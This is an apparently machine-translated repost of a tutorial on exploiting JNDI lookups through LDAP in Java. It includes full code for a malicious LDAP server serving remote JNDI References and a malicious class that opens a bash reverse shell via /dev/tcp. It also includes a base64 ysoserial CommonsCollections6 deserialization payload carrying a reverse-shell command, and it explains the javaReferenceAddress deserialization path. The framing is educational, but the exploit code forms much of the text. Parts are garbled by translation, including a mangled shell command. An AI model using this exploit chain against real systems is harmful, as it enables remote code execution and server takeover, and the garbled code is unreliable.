Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to learn LDAP in JNDI

2025-01-23 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article will explain in detail how to learn LDAP in JNDI. The content of the article is of high quality, so the editor will share it for you as a reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.

Basic knowledge

Before entering the LDAP study in JNDI, learn about the relevant knowledge involved.

JAVA model

Serialize object

JNDI References

JNDI References is a Java object like javax.naming.Reference. It consists of an ordered list of class information and addresses about referenced objects. Reference also contains information that helps you create an instance of the object referenced by the reference. It contains the Java class name of the object, as well as the class name and location of the object factory used to create the object. Use the following properties in the directory:

ObjectClass: javaNamingReferencejavaClassName: Records the classname of the serialized object so that applications can determined class information without having to first deserialize theobject.javaClassNames: Additional class information about the serialized object.javaCodebase: Location of the class definitions needed to instantiate the factoryclass.javaReferenceAddress: Multivalued optional attribute for storing referenceaddresses.javaFactory: Optional attribute for storing theobject factory's fully qualified classname.

Marshalled object

Remote Location

LDAP

LDAP (Lightweight Directory Access Protocol) lightweight Directory access Protocol

What is LDAP?

First briefly describe the basic concepts of LDAP, mainly used to access directory service users to connect, query, and update directories on remote servers.

The main distribution of LDAP model is as follows:

Information model Information model is mainly item-Entry, attribute-Attribute, value-value Entry: a node in the directory tree, each Entry describes a real object, namely object class

Named model

Functional model

Security model. These basics can be found in the official documentation of LDAP.

LDAP attack vector LDAP Server

You can build a ldap server before using it. The code comes from mbechler, which has been slightly changed.

Package org.jndildap;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException Import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;/*** LDAP server implementation returning JNDI references** @ author mbechler**/public class LdapSer {private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String [] args) {int port = 1389 X string url = "http://127.0.0.1/#Th4windObject";try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE) Config.setListenerConfigs (new InMemoryListenerConfig ("listen", / / $NON-NLS-1$ InetAddress.getByName ("0.0.0.0"), / / $NON-NLS-1$ port,ServerSocketFactory.getDefault (), SocketFactory.getDefault (), (SSLSocketFactory) SSLSocketFactory.getDefault ()); config.addInMemoryOperationInterceptor (new OperationInterceptor (new URL (url); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println ("Listening on 0.0.0.0:" + port); / / $NON-NLS-1$ ds.startListening () } catch (Exception e) {e.printStackTrace ();}} private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/****/public OperationInterceptor (URL cb) {this.codebase = cb;} / * * {@ inheritDoc} * * @ see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult (com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) * / @ Overridepublic void processSearchResult (InMemoryInterceptedSearchResult result) {String base = result.getRequest (). GetBaseDN (); Entry e = new Entry (base) Try {sendResult (result, base, e);} catch (Exception E1) {e1.printStackTrace ();}} protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL (this.codebase, this.codebase.getRef (). Replace ('.','/'). Concat (".class"); System.out.println ("Send LDAP reference result for" + base + "redirecting to" + turl); e.addAttribute ("javaClassName", "th4wind") String cbstring = this.codebase.toString (); int refPos = cbstring.indexOf ('#'); if (refPos > 0) {cbstring = cbstring.substring (0, refPos);} e.addAttribute ("javaCodeBase", cbstring); e.addAttribute ("objectClass", "javaNamingReference"); / / $NON-NLS-1$ e.addAttribute ("javaFactory", this.codebase.getRef (); result.sendSearchEntry (e); result.setResult (new LDAPResult (0, ResultCode.SUCCESS));}

LDAP stores JAVA objects in the following way:

Java serialization

References of JDNI

Marshalled object

Remote Location

Among them, the ways of matching and utilization are as follows:

Serialization using Java

Using the References object reference of JDNI

LDAP can provide a variety of properties for the JAVA objects stored in it. For more information, please refer to the official description, some of which are as follows

When using JNDI References, javaCodebase is mainly used here to specify the remote url, which contains malicious class and deserialization triggers in JNDI.

When using the Java serialization method directly, the javaSerializedData property is used. When the value value of the property is not empty, the value is deserialized, and can be triggered when there is a local deserialization utilization chain.

JNDI Reference

The attack process is as follows: borrow the diagram of BlackHat2016

1. The attacker provides a url of the absolute path of LDAP and assigns it to the lookup method of the available JNDI. Here, directly deploy a LDAP Client to simulate the attacked server application, as shown below:

String uri = "ldap://127.0.0.1:1389/Th4windObject"; Context ctx = new InitialContext (); ctx.lookup (uri)

2. The server accesses the LDAP Server side constructed or controlled by the attacker and requests the malicious JNDI Reference

Construct JNDI Reference my understanding is that the JNDI Reference here is the jndiReferenceEntry according to the information model mentioned earlier, and the constructed JNDI Reference here is the construction Entry, that is, the

Entry e = new Entry (base); .e.addAttribute ("javaClassName", "th4wind"); e.addAttribute ("javaCodeBase", cbstring); e.addAttribute ("objectClass", "javaNamingReference"); / / $NON-NLS-1$ e.addAttribute ("javaFactory", this.codebase.getRef ())

Request JNDI Reference

In the attacked server, you can request JNDI Reference directly with lookup, but let's follow up here to see which part of the code in lookup requests and uses

After lookup obtains the Entry, pass the parameters all the way to c_lookup:

Initiate a request for the incoming url in doSearchOnce to get the corresponding Entry

Similarly, when it is judged that javaclassname and javaNamingReference are not empty in the c_lookup, decodeObject processing is performed.

Generate a new reference in decodeObject, and then load and execute the malicious class file through Naming Manager. The rest of the content is the calling logic of JNDI, which has little to do with LDAP. We will not discuss it here. The flow chart is as follows:

3. The malicious JNDI Reference4 requested by the server decode, the malicious Server request constructed by the server from the attacker and instantiated Factory class, that is, the Th4windObject under the http request opened here

Import java.lang.Runtime;import java.lang.Process;public class Th4windObject {public Th4windObject () {try {Runtime rt = Runtime.getRuntime (); / / Runtime.getRuntime (). Exec ("bash-I > & / dev/tcp/127.0.0.1/8550 0 > & 1"); / / String [] commands = {"/ bin/bash", "- c", "'/ bin/bash-I > & / dev/tcp/127.0.0.1/8550 0 > & 1'"} String [] commands = {"/ bin/bash", "- c", "exec 5 Exception argv 127.0.0.1 commands commands & 5 > & amp5; done"}; Process pc = rt.exec (commands); / / System.out.println (commands); pc.waitFor ();} catch (Exception e) {e.printStackTrace (); System.out.println ("2222");} public static void main (String [] argv) {Th4windObject e = new Th4windObject ();}}

5. Execute payloads

Remote Location

This method is not commonly used, so I won't discuss it here.

Serialized Object

There are two ways that JNDI handles serialization in Entry attributes transmitted over LDAP

One is the decodeObject's handling of the javaSerializedData attribute mentioned earlier.

One is that the decodeReference function can further restore RefAddress on the basis of the ordinary Reference reduction.

JavaSerializedData

As mentioned earlier, if javaSerializedData is not empty, decodeObject deserializes the corresponding fields. That is, this attribute is added to the malicious LDAP Server side here.

E.addAttribute ("javaSerializedData", Base64.decode ("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm 9ybWVyO3hwc3IAOm 9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh3kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm 9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC 4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh5"))

Out of laziness, the payload here directly uses ysoserial.jar to generate the CommonsCollections6 here using CommonsCollections6, that is, the local deserialization vulnerability exploit chain mentioned earlier, so you have to import commons-collections locally in the called LDAPClient. I am using version 3.2.1 here.

Through this utilization method, there is no malicious web service, and the attack diagram is as follows:

The attacker provides a url of the LDAP absolute path and assigns it to the lookup method of the available JNDI

The server accesses the LDAP Server side constructed or controlled by the attacker and requests a malicious JNDI Reference

Malicious JNDI Reference requested by server decode and deserialized in decode

The call chain is as follows:

JavaReferenceAddress

Let's start with a picture of the call chain.

In this invocation mode, the property that can be used for deserialization is javaReferenceAddress,payload:

E.addAttribute ("javaReferenceAddress", "1$ String$$" + new BASE64Encoder () .encode (serialized))

When Reference decodeReference processes this attribute, there are conditional requirements for processing strings: first, javaSerializedData is required to be empty; secondly, javaRemoteLocation is required to be empty.

The requirements for string processing in decodeReference are as follows: required attributes:

JavaClassNamejavaReferenceAddress

Verify whether javafactory exists

The processing flow for javaReferenceAddress is as follows:

The first character is a delimiter

Between the first delimiter and the second delimiter, the position of Reference is of type int, that is, the position must be a number

The second delimiter and the third delimiter indicate the type type

Check whether there is a fourth delimiter in the form of a double delimiter after the third delimiter, and if so, enter the deserialization operation

Serialized data is encoded in base64, so base64 decoding is performed before serialization.

On how to learn LDAP in JNDI to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report